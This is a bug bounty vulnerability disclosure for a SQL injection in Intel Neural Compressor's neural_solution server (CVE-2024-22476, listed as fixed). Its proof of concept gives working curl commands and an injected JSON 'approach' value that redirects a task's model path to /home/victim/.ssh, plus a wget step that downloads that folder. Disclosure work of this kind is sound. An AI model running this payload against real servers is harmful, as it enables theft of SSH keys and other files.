# Arbitrary file reading via SQL Injection in [intel/neural-compressor](https://github.com/intel/neural-compressor)

Valid

Reported on Jan 8th 2024

---

# Description

When we submit a task to the `neural_solution` server via API `/task/submit`, the server stores the task information in the SQLite database using a simple INSERT query. However, the code that handles this SQL query is vulnerable to SQL injection attacks.

Through this SQL injection, an attacker can update the `q_model_path` field (or any other fields) of any task in the database. In the meantime, the API `/download/<task_id>` can be utilized to download any folder specified by the `q_model_path` field and there is no filtering or validation in place for this field. The attacker can easily download any content from the host system if they can update the `q_model_path` field of a task in the database.

As a result, it becomes evident that this vulnerability not only compromises the security of the database but also allows attackers to download any files from the host system.

# Proof of Concept

1. Make sure you have the components of Neural Compressor (Neural Solution, Neural Compressor, etc.) installed.

2. Start the Neural Solution service with the default configuration by using the command `neural_solution start`.

3. Submit a task via /task/submit to obtain a valid task_id.

On the attacker's machine, create a JSON file (named `valid_task.json` for example) containing the following payload:

```json
{
    "script_url": "https://github.com/huggingface/transformers/blob/v4.21-release/examples/pytorch/text-classification/run_glue.py",
    "optimized": "False",
    "arguments": [
        "--model_name_or_path bert-base-cased --task_name mrpc --do_eval --output_dir result"
    ],
    "approach": "static",
    "requirements": [],
    "workers": 1
}
```

Important Note: Make sure `script_url` contains a valid http/https url like above, so that the task_log file for that specific task can be created during the process. Otherwise later steps won't be successful.

Make a POST request as follows:

```bash
curl -X POST -H "Content-Type: application/json" --data @./valid_task.json  http://127.0.1.1:8000/task/submit/
```

We will receive a successful response as below. Suppose we obtain a valid `task_id = 1b9ff5c2fd2143d58522bd71d18845a3` in the response:

```json
{"status":"successfully","task_id":"1b9ff5c2fd2143d58522bd71d18845a3","msg":"Task submitted successfully"}
```

4. Use this obtained task_id to craft a SQL injection request. For this POC, we will use the `approach` parameter to inject the SQL query (We can manipulate `script_url`, `arguments`, `requirements` for the same result). Create a `json` file (named `sqli_task.json` for example) containing the followings:

```json
{
    "script_url": "https://github.com/huggingface/transformers/blob/v4.21-release/examples/pytorch/text-classification/run_glue.py",
    "optimized": "False",
    "arguments": [
    ],
    "approach": "5', '6', 7, 'pending'), ('1b9ff5c2fd2143d58522bd71d18845a3', '2', 3, '4', '5', '6', 7, 'pending') ON CONFLICT (id) DO UPDATE SET id = '1b9ff5c2fd2143d58522bd71d18845a3', q_model_path = '/home/victim/.ssh' --",
    "requirements": [],
    "workers": 1
}
```

Notice the `task_id (1b9ff5c2fd2143d58522bd71d18845a3)` and the folder we want to download (`/home/victim/.ssh`) in the content above (Adjust these values according to your case). Because the SQL execute function in the source code does not allow more than two statements in the same query, we have to do a sneaky way like above (with `ON CONFLICT`) to update the `q_model_path` field.

Make a POST request as follows:

```bash
curl -X POST -H "Content-Type: application/json" --data @./sqli_task.json  http://127.0.1.1:8000/task/submit/
```

After receiving a success response from the above request, we can download the content of the `/home/victim/.ssh` folder to our machine with the following command:

```bash
wget http://127.0.1.1:8000/download/1b9ff5c2fd2143d58522bd71d18845a3
```

The downloaded file will be in zip format. Extract it and we will have the stolen content.

# Impact

1. Unauthorized Access to Sensitive Files

2. Database compromise

3. System Compromise: Once an attacker gains access to sensitive files, they may be able to further exploit the compromised system, escalate privileges, pivot to other systems, or perform other malicious activities.

## References

- [https://medium.com/intel-analytics-software/streamlining-model-optimization-as-a-service-with-intel-neural-compressor-fd970fdb2928](https://medium.com/intel-analytics-software/streamlining-model-optimization-as-a-service-with-intel-neural-compressor-fd970fdb2928)

CVE

[CVE-2024-22476](https://nvd.nist.gov/vuln/detail/CVE-2024-22476) published

Vulnerability Type

[CWE-89: SQL Injection](https://cwe.mitre.org/data/definitions/89.html)

Severity

Critical (10)

Attack vector Network

Attack complexity Low

Privileges required None

User interaction None

Scope Changed

Confidentiality High

Integrity High

Availability High

[Open in visual CVSS calculator](https://cvss.js.org/#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

Registry

Pypi

Affected Version

2.4

Visibility

Public

Status

Fixed

Disclosure Bounty

$2500

Fix Bounty

$625

Found by

[CybrX](/content/users/williwollo/index.html)

@williwollo

MIDDLEWEIGHT